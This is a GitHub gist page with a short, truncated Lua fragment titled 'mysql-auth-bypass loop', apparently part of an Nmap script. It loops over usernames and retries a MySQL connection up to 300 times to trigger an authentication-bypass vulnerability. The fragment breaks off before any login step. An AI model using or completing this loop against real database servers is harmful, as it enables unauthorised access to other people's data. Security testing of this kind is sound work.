Created
June 12, 2012 15:13
-
-
Save marcwickenden/2918117 to your computer and use it in GitHub Desktop.
mysql-auth-bypass loop
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for username in usernames do | |
stdnse.print_debug( "Trying %s ...", username ) | |
-- try up to 300 times to trigger the vuln | |
for i = 0, 300, 1 do | |
stdnse.print_debug(2, "attempt number %d", i ) | |
local status, response = socket:connect(host, port) | |
if( not(status) ) then return " \n ERROR: Failed to connect to mysql server" end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment